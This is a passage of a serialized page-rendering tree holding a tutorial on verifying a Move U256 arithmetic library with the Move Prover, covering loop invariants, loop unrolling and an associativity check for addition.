};\n",[10319],{"type":23,"tag":94,"props":10320,"children":10321},{"__ignoreMap":7},[10322,10334,10345,10381,10404,10487,10494,10518,10526,10546,10566,10657,10664,10692],{"type":23,"tag":314,"props":10323,"children":10324},{"class":316,"line":317},[10325,10330],{"type":23,"tag":314,"props":10326,"children":10327},{"style":2284},[10328],{"type":28,"value":10329}," while",{"type":23,"tag":314,"props":10331,"children":10332},{"style":338},[10333],{"type":28,"value":7785},{"type":23,"tag":314,"props":10335,"children":10336},{"class":316,"line":370},[10337,10341],{"type":23,"tag":314,"props":10338,"children":10339},{"style":360},[10340],{"type":28,"value":8180},{"type":23,"tag":314,"props":10342,"children":10343},{"style":338},[10344],{"type":28,"value":1449},{"type":23,"tag":314,"props":10346,"children":10347},{"class":316,"line":380},[10348,10353,10357,10361,10365,10369,10373,10377],{"type":23,"tag":314,"props":10349,"children":10350},{"style":360},[10351],{"type":28,"value":10352}," invariant",{"type":23,"tag":314,"props":10354,"children":10355},{"style":332},[10356],{"type":28,"value":7810},{"type":23,"tag":314,"props":10358,"children":10359},{"style":338},[10360],{"type":28,"value":341},{"type":23,"tag":314,"props":10362,"children":10363},{"style":360},[10364],{"type":28,"value":7819},{"type":23,"tag":314,"props":10366,"children":10367},{"style":338},[10368],{"type":28,"value":2343},{"type":23,"tag":314,"props":10370,"children":10371},{"style":354},[10372],{"type":28,"value":7828},{"type":23,"tag":314,"props":10374,"children":10375},{"style":360},[10376],{"type":28,"value":2653},{"type":23,"tag":314,"props":10378,"children":10379},{"style":338},[10380],{"type":28,"value":2278},{"type":23,"tag":314,"props":10382,"children":10383},{"class":316,"line":1091},[10384,10388,10392,10396,10400],{"type":23,"tag":314,"props":10385,"children":10386},{"style":360},[10387],{"type":28,"value":10352},{"type":23,"tag":314,"props":10389,"children":10390},{"style":360},[10391],{"type":28,"value":2653},{"type":23,"tag":314,"props":10393,"children":10394},{"style":354},[10395],{"type":28,"value":7451},{"type":23,"tag":314,"props":10397,"children":10398},{"style":360},[10399],{"type":28,"value":7739},{"type":23,"tag":314,"props":10401,"children":10402},{"style":338},[10403],{"type":28,"value":2278},{"type":23,"tag":314,"props":10405,"children":10406},{"class":316,"line":1141},[10407,10411,10415,10419,10423,10427,10431,10435,10439,10443,10447,10451,10455,10459,10463,10467,10471,10475,10479,10483],{"type":23,"tag":314,"props":10408,"children":10409},{"style":360},[10410],{"type":28,"value":10352},{"type":23,"tag":314,"props":10412,"children":10413},{"style":360},[10414],{"type":28,"value":7871},{"type":23,"tag":314,"props":10416,"children":10417},{"style":360},[10418],{"type":28,"value":7876},{"type":23,"tag":314,"props":10420,"children":10421},{"style":321},[10422],{"type":28,"value":2297},{"type":23,"tag":314,"props":10424,"children":10425},{"style":1054},[10426],{"type":28,"value":1201},{"type":23,"tag":314,"props":10428,"children":10429},{"style":354},[10430],{"type":28,"value":2306},{"type":23,"tag":314,"props":10432,"children":10433},{"style":360},[10434],{"type":28,"value":2993},{"type":23,"tag":314,"props":10436,"children":10437},{"style":354},[10438],{"type":28,"value":3746},{"type":23,"tag":314,"props":10440,"children":10441},{"style":360},[10442],{"type":28,"value":7674},{"type":23,"tag":314,"props":10444,"children":10445},{"style":338},[10446],{"type":28,"value":1312},{"type":23,"tag":314,"props":10448,"children":10449},{"style":360},[10450],{"type":28,"value":7909},{"type":23,"tag":314,"props":10452,"children":10453},{"style":338},[10454],{"type":28,"value":1322},{"type":23,"tag":314,"props":10456,"children":10457},{"style":354},[10458],{"type":28,"value":7828},{"type":23,"tag":314,"props":10460,"children":10461},{"style":360},[10462],{"type":28,"value":7922},{"type":23,"tag":314,"props":10464,"children":10465},{"style":338},[10466],{"type":28,"value":1312},{"type":23,"tag":314,"props":10468,"children":10469},{"style":360},[10470],{"type":28,"value":7909},{"type":23,"tag":314,"props":10472,"children":10473},{"style":338},[10474],{"type":28,"value":1322},{"type":23,"tag":314,"props":10476,"children":10477},{"style":354},[10478],{"type":28,"value":256},{"type":23,"tag":314,"props":10480,"children":10481},{"style":360},[10482],{"type":28,"value":7739},{"type":23,"tag":314,"props":10484,"children":10485},{"style":338},[10486],{"type":28,"value":2278},{"type":23,"tag":314,"props":10488,"children":10489},{"class":316,"line":1173},[10490],{"type":23,"tag":314,"props":10491,"children":10492},{"style":338},[10493],{"type":28,"value":8172},{"type":23,"tag":314,"props":10495,"children":10496},{"class":316,"line":1208},[10497,10502,10506,10510,10514],{"type":23,"tag":314,"props":10498,"children":10499},{"style":338},[10500],{"type":28,"value":10501}," (",{"type":23,"tag":314,"props":10503,"children":10504},{"style":360},[10505],{"type":28,"value":2993},{"type":23,"tag":314,"props":10507,"children":10508},{"style":354},[10509],{"type":28,"value":7971},{"type":23,"tag":314,"props":10511,"children":10512},{"style":360},[10513],{"type":28,"value":7739},{"type":23,"tag":314,"props":10515,"children":10516},{"style":338},[10517],{"type":28,"value":2414},{"type":23,"tag":314,"props":10519,"children":10520},{"class":316,"line":1216},[10521],{"type":23,"tag":314,"props":10522,"children":10523},{"style":338},[10524],{"type":28,"value":10525}," }) {\n",{"type":23,"tag":314,"props":10527,"children":10528},{"class":316,"line":1301},[10529,10534,10538,10542],{"type":23,"tag":314,"props":10530,"children":10531},{"style":338},[10532],{"type":28,"value":10533}," vector",{"type":23,"tag":314,"props":10535,"children":10536},{"style":354},[10537],{"type":28,"value":2737},{"type":23,"tag":314,"props":10539,"children":10540},{"style":332},[10541],{"type":28,"value":8004},{"type":23,"tag":314,"props":10543,"children":10544},{"style":338},[10545],{"type":28,"value":2719},{"type":23,"tag":314,"props":10547,"children":10548},{"class":316,"line":1343},[10549,10554,10558,10562],{"type":23,"tag":314,"props":10550,"children":10551},{"style":354},[10552],{"type":28,"value":10553}," &",{"type":23,"tag":314,"props":10555,"children":10556},{"style":321},[10557],{"type":28,"value":2979},{"type":23,"tag":314,"props":10559,"children":10560},{"style":360},[10561],{"type":28,"value":7674},{"type":23,"tag":314,"props":10563,"children":10564},{"style":338},[10565],{"type":28,"value":1870},{"type":23,"tag":314,"props":10567,"children":10568},{"class":316,"line":1351},[10569,10573,10577,10581,10585,10589,10593,10597,10601,10605,10609,10613,10617,10621,10625,10629,10633,10637,10641,10645,10649,10653],{"type":23,"tag":314,"props":10570,"children":10571},{"style":338},[10572],{"type":28,"value":7962},{"type":23,"tag":314,"props":10574,"children":10575},{"style":354},[10576],{"type":28,"value":256},{"type":23,"tag":314,"props":10578,"children":10579},{"style":338},[10580],{"type":28,"value":8045},{"type":23,"tag":314,"props":10582,"children":10583},{"style":354},[10584],{"type":28,"value":2737},{"type":23,"tag":314,"props":10586,"children":10587},{"style":332},[10588],{"type":28,"value":8054},{"type":23,"tag":314,"props":10590,"children":10591},{"style":338},[10592],{"type":28,"value":341},{"type":23,"tag":314,"props":10594,"children":10595},{"style":354},[10596],{"type":28,"value":1833},{"type":23,"tag":314,"props":10598,"children":10599},{"style":360},[10600],{"type":28,"value":99},{"type":23,"tag":314,"props":10602,"children":10603},{"style":338},[10604],{"type":28,"value":8071},{"type":23,"tag":314,"props":10606,"children":10607},{"style":360},[10608],{"type":28,"value":2993},{"type":23,"tag":314,"props":10610,"children":10611},{"style":321},[10612],{"type":28,"value":8080},{"type":23,"tag":314,"props":10614,"children":10615},{"style":2674},[10616],{"type":28,"value":5114},{"type":23,"tag":314,"props":10618,"children":10619},{"style":338},[10620],{"type":28,"value":8089},{"type":23,"tag":314,"props":10622,"children":10623},{"style":321},[10624],{"type":28,"value":8094},{"type":23,"tag":314,"props":10626,"children":10627},{"style":2674},[10628],{"type":28,"value":8099},{"type":23,"tag":314,"props":10630,"children":10631},{"style":338},[10632],{"type":28,"value":2343},{"type":23,"tag":314,"props":10634,"children":10635},{"style":354},[10636],{"type":28,"value":256},{"type":23,"tag":314,"props":10638,"children":10639},{"style":338},[10640],{"type":28,"value":2324},{"type":23,"tag":314,"props":10642,"children":10643},{"style":360},[10644],{"type":28,"value":8116},{"type":23,"tag":314,"props":10646,"children":10647},{"style":321},[10648],{"type":28,"value":8080},{"type":23,"tag":314,"props":10650,"children":10651},{"style":2674},[10652],{"type":28,"value":8099},{"type":23,"tag":314,"props":10654,"children":10655},{"style":338},[10656],{"type":28,"value":2414},{"type":23,"tag":314,"props":10658,"children":10659},{"class":316,"line":1387},[10660],{"type":23,"tag":314,"props":10661,"children":10662},{"style":338},[10663],{"type":28,"value":6022},{"type":23,"tag":314,"props":10665,"children":10666},{"class":316,"line":1422},[10667,10672,10676,10680,10684,10688],{"type":23,"tag":314,"props":10668,"children":10669},{"style":360},[10670],{"type":28,"value":10671}," i",{"type":23,"tag":314,"props":10673,"children":10674},{"style":354},[10675],{"type":28,"value":1237},{"type":23,"tag":314,"props":10677,"children":10678},{"style":360},[10679],{"type":28,"value":2653},{"type":23,"tag":314,"props":10681,"children":10682},{"style":354},[10683],{"type":28,"value":1572},{"type":23,"tag":314,"props":10685,"children":10686},{"style":1054},[10687],{"type":28,"value":3778},{"type":23,"tag":314,"props":10689,"children":10690},{"style":338},[10691],{"type":28,"value":2278},{"type":23,"tag":314,"props":10693,"children":10694},{"class":316,"line":1430},[10695],{"type":23,"tag":314,"props":10696,"children":10697},{"style":338},[10698],{"type":28,"value":10699}," };\n",{"type":23,"tag":24,"props":10701,"children":10702},{},[10703,10705,10711,10713,10718,10720,10726],{"type":28,"value":10704},"In this case, the brackets specify the loop invariant for the ",{"type":23,"tag":94,"props":10706,"children":10708},{"className":10707},[],[10709],{"type":28,"value":10710},"while",{"type":28,"value":10712}," loop. Note that because the loop invariant executes ",{"type":23,"tag":186,"props":10714,"children":10715},{},[10716],{"type":28,"value":10717},"after",{"type":28,"value":10719}," the loop guard, so we need to account for an extra step with ",{"type":23,"tag":94,"props":10721,"children":10723},{"className":10722},[],[10724],{"type":28,"value":10725},"i \u003C= n_coins",{"type":28,"value":282},{"type":23,"tag":304,"props":10728,"children":10730},{"code":10729,"language":2233,"meta":7,"className":2234,"style":7}," while ({\n spec {\n invariant len(amounts_times_coins) == i;\n invariant i \u003C= n_coins;\n invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n };\n (i \u003C n_coins)\n }) {\n",[10731],{"type":23,"tag":94,"props":10732,"children":10733},{"__ignoreMap":7},[10734,10745,10756,10791,10814,10897,10904,10927],{"type":23,"tag":314,"props":10735,"children":10736},{"class":316,"line":317},[10737,10741],{"type":23,"tag":314,"props":10738,"children":10739},{"style":2284},[10740],{"type":28,"value":10329},{"type":23,"tag":314,"props":10742,"children":10743},{"style":338},[10744],{"type":28,"value":7785},{"type":23,"tag":314,"props":10746,"children":10747},{"class":316,"line":370},[10748,10752],{"type":23,"tag":314,"props":10749,"children":10750},{"style":360},[10751],{"type":28,"value":8180},{"type":23,"tag":314,"props":10753,"children":10754},{"style":338},[10755],{"type":28,"value":1449},{"type":23,"tag":314,"props":10757,"children":10758},{"class":316,"line":380},[10759,10763,10767,10771,10775,10779,10783,10787],{"type":23,"tag":314,"props":10760,"children":10761},{"style":360},[10762],{"type":28,"value":10352},{"type":23,"tag":314,"props":10764,"children":10765},{"style":332},[10766],{"type":28,"value":7810},{"type":23,"tag":314,"props":10768,"children":10769},{"style":338},[10770],{"type":28,"value":341},{"type":23,"tag":314,"props":10772,"children":10773},{"style":360},[10774],{"type":28,"value":7819},{"type":23,"tag":314,"props":10776,"children":10777},{"style":338},[10778],{"type":28,"value":2343},{"type":23,"tag":314,"props":10780,"children":10781},{"style":354},[10782],{"type":28,"value":7828},{"type":23,"tag":314,"props":10784,"children":10785},{"style":360},[10786],{"type":28,"value":2653},{"type":23,"tag":314,"props":10788,"children":10789},{"style":338},[10790],{"type":28,"value":2278},{"type":23,"tag":314,"props":10792,"children":10793},{"class":316,"line":1091},[10794,10798,10802,10806,10810],{"type":23,"tag":314,"props":10795,"children":10796},{"style":360},[10797],{"type":28,"value":10352},{"type":23,"tag":314,"props":10799,"children":10800},{"style":360},[10801],{"type":28,"value":2653},{"type":23,"tag":314,"props":10803,"children":10804},{"style":354},[10805],{"type":28,"value":7451},{"type":23,"tag":314,"props":10807,"children":10808},{"style":360},[10809],{"type":28,"value":7739},{"type":23,"tag":314,"props":10811,"children":10812},{"style":338},[10813],{"type":28,"value":2278},{"type":23,"tag":314,"props":10815,"children":10816},{"class":316,"line":1141},[10817,10821,10825,10829,10833,10837,10841,10845,10849,10853,10857,10861,10865,10869,10873,10877,10881,10885,10889,10893],{"type":23,"tag":314,"props":10818,"children":10819},{"style":360},[10820],{"type":28,"value":10352},{"type":23,"tag":314,"props":10822,"children":10823},{"style":360},[10824],{"type":28,"value":7871},{"type":23,"tag":314,"props":10826,"children":10827},{"style":360},[10828],{"type":28,"value":7876},{"type":23,"tag":314,"props":10830,"children":10831},{"style":321},[10832],{"type":28,"value":2297},{"type":23,"tag":314,"props":10834,"children":10835},{"style":1054},[10836],{"type":28,"value":1201},{"type":23,"tag":314,"props":10838,"children":10839},{"style":354},[10840],{"type":28,"value":2306},{"type":23,"tag":314,"props":10842,"children":10843},{"style":360},[10844],{"type":28,"value":2993},{"type":23,"tag":314,"props":10846,"children":10847},{"style":354},[10848],{"type":28,"value":3746},{"type":23,"tag":314,"props":10850,"children":10851},{"style":360},[10852],{"type":28,"value":7674},{"type":23,"tag":314,"props":10854,"children":10855},{"style":338},[10856],{"type":28,"value":1312},{"type":23,"tag":314,"props":10858,"children":10859},{"style":360},[10860],{"type":28,"value":7909},{"type":23,"tag":314,"props":10862,"children":10863},{"style":338},[10864],{"type":28,"value":1322},{"type":23,"tag":314,"props":10866,"children":10867},{"style":354},[10868],{"type":28,"value":7828},{"type":23,"tag":314,"props":10870,"children":10871},{"style":360},[10872],{"type":28,"value":7922},{"type":23,"tag":314,"props":10874,"children":10875},{"style":338},[10876],{"type":28,"value":1312},{"type":23,"tag":314,"props":10878,"children":10879},{"style":360},[10880],{"type":28,"value":7909},{"type":23,"tag":314,"props":10882,"children":10883},{"style":338},[10884],{"type":28,"value":1322},{"type":23,"tag":314,"props":10886,"children":10887},{"style":354},[10888],{"type":28,"value":256},{"type":23,"tag":314,"props":10890,"children":10891},{"style":360},[10892],{"type":28,"value":7739},{"type":23,"tag":314,"props":10894,"children":10895},{"style":338},[10896],{"type":28,"value":2278},{"type":23,"tag":314,"props":10898,"children":10899},{"class":316,"line":1173},[10900],{"type":23,"tag":314,"props":10901,"children":10902},{"style":338},[10903],{"type":28,"value":8172},{"type":23,"tag":314,"props":10905,"children":10906},{"class":316,"line":1208},[10907,10911,10915,10919,10923],{"type":23,"tag":314,"props":10908,"children":10909},{"style":338},[10910],{"type":28,"value":10501},{"type":23,"tag":314,"props":10912,"children":10913},{"style":360},[10914],{"type":28,"value":2993},{"type":23,"tag":314,"props":10916,"children":10917},{"style":354},[10918],{"type":28,"value":7971},{"type":23,"tag":314,"props":10920,"children":10921},{"style":360},[10922],{"type":28,"value":7739},{"type":23,"tag":314,"props":10924,"children":10925},{"style":338},[10926],{"type":28,"value":2414},{"type":23,"tag":314,"props":10928,"children":10929},{"class":316,"line":1216},[10930],{"type":23,"tag":314,"props":10931,"children":10932},{"style":338},[10933],{"type":28,"value":10525},{"type":23,"tag":24,"props":10935,"children":10936},{},[10937],{"type":28,"value":10938},"Loop invariants are often difficult to write, especially for nontrivial loop bodies.",{"type":23,"tag":24,"props":10940,"children":10941},{},[10942,10944,10949],{"type":28,"value":10943},"The second solution to dealing with loops is to unroll the loop. This technique works in this particular situation because, as we can observe, the loop within the ",{"type":23,"tag":94,"props":10945,"children":10947},{"className":10946},[],[10948],{"type":28,"value":8887},{"type":28,"value":10950}," function will always iterate exactly 4 times:",{"type":23,"tag":304,"props":10952,"children":10954},{"code":10953,"language":2233,"meta":7,"className":2234,"style":7},"/// Total words in `U256` (64 * 4 = 256).\nconst WORDS: u64 = 4;\n\n[...]\n\nlet i = 0;\nwhile (i \u003C WORDS) {\n let a1 = get(&a, i);\n let b1 = get(&b, i);\n\n[...]\n",[10955],{"type":23,"tag":94,"props":10956,"children":10957},{"__ignoreMap":7},[10958,10966,10998,11005,11021,11028,11052,11076,11121,11165,11172],{"type":23,"tag":314,"props":10959,"children":10960},{"class":316,"line":317},[10961],{"type":23,"tag":314,"props":10962,"children":10963},{"style":374},[10964],{"type":28,"value":10965},"/// Total words in `U256` (64 * 4 = 256).\n",{"type":23,"tag":314,"props":10967,"children":10968},{"class":316,"line":370},[10969,10973,10978,10982,10986,10990,10994],{"type":23,"tag":314,"props":10970,"children":10971},{"style":321},[10972],{"type":28,"value":346},{"type":23,"tag":314,"props":10974,"children":10975},{"style":338},[10976],{"type":28,"value":10977}," WORDS",{"type":23,"tag":314,"props":10979,"children":10980},{"style":354},[10981],{"type":28,"value":3746},{"type":23,"tag":314,"props":10983,"children":10984},{"style":2674},[10985],{"type":28,"value":5114},{"type":23,"tag":314,"props":10987,"children":10988},{"style":354},[10989],{"type":28,"value":1237},{"type":23,"tag":314,"props":10991,"children":10992},{"style":1054},[10993],{"type":28,"value":1057},{"type":23,"tag":314,"props":10995,"children":10996},{"style":338},[10997],{"type":28,"value":2278},{"type":23,"tag":314,"props":10999,"children":11000},{"class":316,"line":380},[11001],{"type":23,"tag":314,"props":11002,"children":11003},{"emptyLinePlaceholder":18},[11004],{"type":28,"value":1088},{"type":23,"tag":314,"props":11006,"children":11007},{"class":316,"line":1091},[11008,11012,11016],{"type":23,"tag":314,"props":11009,"children":11010},{"style":338},[11011],{"type":28,"value":1312},{"type":23,"tag":314,"props":11013,"children":11014},{"style":354},[11015],{"type":28,"value":8840},{"type":23,"tag":314,"props":11017,"children":11018},{"style":338},[11019],{"type":28,"value":11020},"]\n",{"type":23,"tag":314,"props":11022,"children":11023},{"class":316,"line":1141},[11024],{"type":23,"tag":314,"props":11025,"children":11026},{"emptyLinePlaceholder":18},[11027],{"type":28,"value":1088},{"type":23,"tag":314,"props":11029,"children":11030},{"class":316,"line":1173},[11031,11036,11040,11044,11048],{"type":23,"tag":314,"props":11032,"children":11033},{"style":321},[11034],{"type":28,"value":11035},"let",{"type":23,"tag":314,"props":11037,"children":11038},{"style":360},[11039],{"type":28,"value":2653},{"type":23,"tag":314,"props":11041,"children":11042},{"style":354},[11043],{"type":28,"value":1237},{"type":23,"tag":314,"props":11045,"children":11046},{"style":1054},[11047],{"type":28,"value":1201},{"type":23,"tag":314,"props":11049,"children":11050},{"style":338},[11051],{"type":28,"value":2278},{"type":23,"tag":314,"props":11053,"children":11054},{"class":316,"line":1208},[11055,11059,11063,11067,11071],{"type":23,"tag":314,"props":11056,"children":11057},{"style":2284},[11058],{"type":28,"value":10710},{"type":23,"tag":314,"props":11060,"children":11061},{"style":338},[11062],{"type":28,"value":2324},{"type":23,"tag":314,"props":11064,"children":11065},{"style":360},[11066],{"type":28,"value":2993},{"type":23,"tag":314,"props":11068,"children":11069},{"style":354},[11070],{"type":28,"value":7971},{"type":23,"tag":314,"props":11072,"children":11073},{"style":338},[11074],{"type":28,"value":11075}," WORDS) {\n",{"type":23,"tag":314,"props":11077,"children":11078},{"class":316,"line":1216},[11079,11083,11088,11092,11097,11101,11105,11109,11113,11117],{"type":23,"tag":314,"props":11080,"children":11081},{"style":321},[11082],{"type":28,"value":2254},{"type":23,"tag":314,"props":11084,"children":11085},{"style":360},[11086],{"type":28,"value":11087}," a1",{"type":23,"tag":314,"props":11089,"children":11090},{"style":354},[11091],{"type":28,"value":1237},{"type":23,"tag":314,"props":11093,"children":11094},{"style":332},[11095],{"type":28,"value":11096}," get",{"type":23,"tag":314,"props":11098,"children":11099},{"style":338},[11100],{"type":28,"value":341},{"type":23,"tag":314,"props":11102,"children":11103},{"style":354},[11104],{"type":28,"value":1833},{"type":23,"tag":314,"props":11106,"children":11107},{"style":360},[11108],{"type":28,"value":31},{"type":23,"tag":314,"props":11110,"children":11111},{"style":338},[11112],{"type":28,"value":778},{"type":23,"tag":314,"props":11114,"children":11115},{"style":360},[11116],{"type":28,"value":2993},{"type":23,"tag":314,"props":11118,"children":11119},{"style":338},[11120],{"type":28,"value":1025},{"type":23,"tag":314,"props":11122,"children":11123},{"class":316,"line":1301},[11124,11128,11133,11137,11141,11145,11149,11153,11157,11161],{"type":23,"tag":314,"props":11125,"children":11126},{"style":321},[11127],{"type":28,"value":2254},{"type":23,"tag":314,"props":11129,"children":11130},{"style":360},[11131],{"type":28,"value":11132}," b1",{"type":23,"tag":314,"props":11134,"children":11135},{"style":354},[11136],{"type":28,"value":1237},{"type":23,"tag":314,"props":11138,"children":11139},{"style":332},[11140],{"type":28,"value":11096},{"type":23,"tag":314,"props":11142,"children":11143},{"style":338},[11144],{"type":28,"value":341},{"type":23,"tag":314,"props":11146,"children":11147},{"style":354},[11148],{"type":28,"value":1833},{"type":23,"tag":314,"props":11150,"children":11151},{"style":360},[11152],{"type":28,"value":2477},{"type":23,"tag":314,"props":11154,"children":11155},{"style":338},[11156],{"type":28,"value":778},{"type":23,"tag":314,"props":11158,"children":11159},{"style":360},[11160],{"type":28,"value":2993},{"type":23,"tag":314,"props":11162,"children":11163},{"style":338},[11164],{"type":28,"value":1025},{"type":23,"tag":314,"props":11166,"children":11167},{"class":316,"line":1343},[11168],{"type":23,"tag":314,"props":11169,"children":11170},{"emptyLinePlaceholder":18},[11171],{"type":28,"value":1088},{"type":23,"tag":314,"props":11173,"children":11174},{"class":316,"line":1351},[11175,11179,11183],{"type":23,"tag":314,"props":11176,"children":11177},{"style":338},[11178],{"type":28,"value":1312},{"type":23,"tag":314,"props":11180,"children":11181},{"style":354},[11182],{"type":28,"value":8840},{"type":23,"tag":314,"props":11184,"children":11185},{"style":338},[11186],{"type":28,"value":11020},{"type":23,"tag":24,"props":11188,"children":11189},{},[11190],{"type":28,"value":11191},"Unrolling the function and running again the Move Prover will print out a \"Success\" message!",{"type":23,"tag":304,"props":11193,"children":11195},{"code":11194},"SUCCESS proving 1 modules from package `u256` in 9.685s\n{\n \"Result\": \"Success\"\n}\n",[11196],{"type":23,"tag":94,"props":11197,"children":11198},{"__ignoreMap":7},[11199],{"type":28,"value":11194},{"type":23,"tag":24,"props":11201,"children":11202},{},[11203,11205,11210,11211,11217],{"type":28,"value":11204},"For the ",{"type":23,"tag":721,"props":11206,"children":11207},{},[11208],{"type":28,"value":11209},"Associative Property",{"type":28,"value":2324},{"type":23,"tag":94,"props":11212,"children":11214},{"className":11213},[],[11215],{"type":28,"value":11216},"a+(b+c) = (a+b)+c",{"type":28,"value":11218},") to be true, changing the grouping of addends should not change the sum. To verify this, we will first implement a function which simulates this property:",{"type":23,"tag":304,"props":11220,"children":11222},{"code":11221,"language":2233,"meta":7,"className":2234,"style":7},"fun add_assoc_property(a: U256, b: U256, c: U256): bool {\n let result_1 = add(b, c);\n let result_11 = add(a, result_1);\n let result_2 = add(a, b);\n let result_22 = add(c, result_2);\n\n let cmp = compare(&result_11, &result_22);\n if ( cmp == EQUAL ) true else false\n}\n",[11223],{"type":23,"tag":94,"props":11224,"children":11225},{"__ignoreMap":7},[11226,11303,11342,11383,11422,11463,11470,11520,11560],{"type":23,"tag":314,"props":11227,"children":11228},{"class":316,"line":317},[11229,11233,11238,11242,11246,11250,11254,11258,11262,11266,11270,11274,11278,11282,11286,11290,11294,11299],{"type":23,"tag":314,"props":11230,"children":11231},{"style":360},[11232],{"type":28,"value":6363},{"type":23,"tag":314,"props":11234,"children":11235},{"style":332},[11236],{"type":28,"value":11237}," add_assoc_property",{"type":23,"tag":314,"props":11239,"children":11240},{"style":338},[11241],{"type":28,"value":341},{"type":23,"tag":314,"props":11243,"children":11244},{"style":360},[11245],{"type":28,"value":31},{"type":23,"tag":314,"props":11247,"children":11248},{"style":354},[11249],{"type":28,"value":3746},{"type":23,"tag":314,"props":11251,"children":11252},{"style":2674},[11253],{"type":28,"value":3985},{"type":23,"tag":314,"props":11255,"children":11256},{"style":338},[11257],{"type":28,"value":778},{"type":23,"tag":314,"props":11259,"children":11260},{"style":360},[11261],{"type":28,"value":2477},{"type":23,"tag":314,"props":11263,"children":11264},{"style":354},[11265],{"type":28,"value":3746},{"type":23,"tag":314,"props":11267,"children":11268},{"style":2674},[11269],{"type":28,"value":3985},{"type":23,"tag":314,"props":11271,"children":11272},{"style":338},[11273],{"type":28,"value":778},{"type":23,"tag":314,"props":11275,"children":11276},{"style":360},[11277],{"type":28,"value":308},{"type":23,"tag":314,"props":11279,"children":11280},{"style":354},[11281],{"type":28,"value":3746},{"type":23,"tag":314,"props":11283,"children":11284},{"style":2674},[11285],{"type":28,"value":3985},{"type":23,"tag":314,"props":11287,"children":11288},{"style":338},[11289],{"type":28,"value":431},{"type":23,"tag":314,"props":11291,"children":11292},{"style":354},[11293],{"type":28,"value":3746},{"type":23,"tag":314,"props":11295,"children":11296},{"style":2674},[11297],{"type":28,"value":11298}," bool",{"type":23,"tag":314,"props":11300,"children":11301},{"style":338},[11302],{"type":28,"value":1449},{"type":23,"tag":314,"props":11304,"children":11305},{"class":316,"line":370},[11306,11310,11314,11318,11322,11326,11330,11334,11338],{"type":23,"tag":314,"props":11307,"children":11308},{"style":321},[11309],{"type":28,"value":2254},{"type":23,"tag":314,"props":11311,"children":11312},{"style":360},[11313],{"type":28,"value":7446},{"type":23,"tag":314,"props":11315,"children":11316},{"style":354},[11317],{"type":28,"value":1237},{"type":23,"tag":314,"props":11319,"children":11320},{"style":332},[11321],{"type":28,"value":8831},{"type":23,"tag":314,"props":11323,"children":11324},{"style":338},[11325],{"type":28,"value":341},{"type":23,"tag":314,"props":11327,"children":11328},{"style":360},[11329],{"type":28,"value":2477},{"type":23,"tag":314,"props":11331,"children":11332},{"style":338},[11333],{"type":28,"value":778},{"type":23,"tag":314,"props":11335,"children":11336},{"style":360},[11337],{"type":28,"value":308},{"type":23,"tag":314,"props":11339,"children":11340},{"style":338},[11341],{"type":28,"value":1025},{"type":23,"tag":314,"props":11343,"children":11344},{"class":316,"line":380},[11345,11349,11354,11358,11362,11366,11370,11374,11379],{"type":23,"tag":314,"props":11346,"children":11347},{"style":321},[11348],{"type":28,"value":2254},{"type":23,"tag":314,"props":11350,"children":11351},{"style":360},[11352],{"type":28,"value":11353}," result_11",{"type":23,"tag":314,"props":11355,"children":11356},{"style":354},[11357],{"type":28,"value":1237},{"type":23,"tag":314,"props":11359,"children":11360},{"style":332},[11361],{"type":28,"value":8831},{"type":23,"tag":314,"props":11363,"children":11364},{"style":338},[11365],{"type":28,"value":341},{"type":23,"tag":314,"props":11367,"children":11368},{"style":360},[11369],{"type":28,"value":31},{"type":23,"tag":314,"props":11371,"children":11372},{"style":338},[11373],{"type":28,"value":778},{"type":23,"tag":314,"props":11375,"children":11376},{"style":360},[11377],{"type":28,"value":11378},"result_1",{"type":23,"tag":314,"props":11380,"children":11381},{"style":338},[11382],{"type":28,"value":1025},{"type":23,"tag":314,"props":11384,"children":11385},{"class":316,"line":1091},[11386,11390,11394,11398,11402,11406,11410,11414,11418],{"type":23,"tag":314,"props":11387,"children":11388},{"style":321},[11389],{"type":28,"value":2254},{"type":23,"tag":314,"props":11391,"children":11392},{"style":360},[11393],{"type":28,"value":7472},{"type":23,"tag":314,"props":11395,"children":11396},{"style":354},[11397],{"type":28,"value":1237},{"type":23,"tag":314,"props":11399,"children":11400},{"style":332},[11401],{"type":28,"value":8831},{"type":23,"tag":314,"props":11403,"children":11404},{"style":338},[11405],{"type":28,"value":341},{"type":23,"tag":314,"props":11407,"children":11408},{"style":360},[11409],{"type":28,"value":31},{"type":23,"tag":314,"props":11411,"children":11412},{"style":338},[11413],{"type":28,"value":778},{"type":23,"tag":314,"props":11415,"children":11416},{"style":360},[11417],{"type":28,"value":2477},{"type":23,"tag":314,"props":11419,"children":11420},{"style":338},[11421],{"type":28,"value":1025},{"type":23,"tag":314,"props":11423,"children":11424},{"class":316,"line":1141},[11425,11429,11434,11438,11442,11446,11450,11454,11459],{"type":23,"tag":314,"props":11426,"children":11427},{"style":321},[11428],{"type":28,"value":2254},{"type":23,"tag":314,"props":11430,"children":11431},{"style":360},[11432],{"type":28,"value":11433}," result_22",{"type":23,"tag":314,"props":11435,"children":11436},{"style":354},[11437],{"type":28,"value":1237},{"type":23,"tag":314,"props":11439,"children":11440},{"style":332},[11441],{"type":28,"value":8831},{"type":23,"tag":314,"props":11443,"children":11444},{"style":338},[11445],{"type":28,"value":341},{"type":23,"tag":314,"props":11447,"children":11448},{"style":360},[11449],{"type":28,"value":308},{"type":23,"tag":314,"props":11451,"children":11452},{"style":338},[11453],{"type":28,"value":778},{"type":23,"tag":314,"props":11455,"children":11456},{"style":360},[11457],{"type":28,"value":11458},"result_2",{"type":23,"tag":314,"props":11460,"children":11461},{"style":338},[11462],{"type":28,"value":1025},{"type":23,"tag":314,"props":11464,"children":11465},{"class":316,"line":1173},[11466],{"type":23,"tag":314,"props":11467,"children":11468},{"emptyLinePlaceholder":18},[11469],{"type":28,"value":1088},{"type":23,"tag":314,"props":11471,"children":11472},{"class":316,"line":1208},[11473,11477,11481,11485,11490,11494,11498,11503,11507,11511,11516],{"type":23,"tag":314,"props":11474,"children":11475},{"style":321},[11476],{"type":28,"value":2254},{"type":23,"tag":314,"props":11478,"children":11479},{"style":360},[11480],{"type":28,"value":7115},{"type":23,"tag":314,"props":11482,"children":11483},{"style":354},[11484],{"type":28,"value":1237},{"type":23,"tag":314,"props":11486,"children":11487},{"style":332},[11488],{"type":28,"value":11489}," 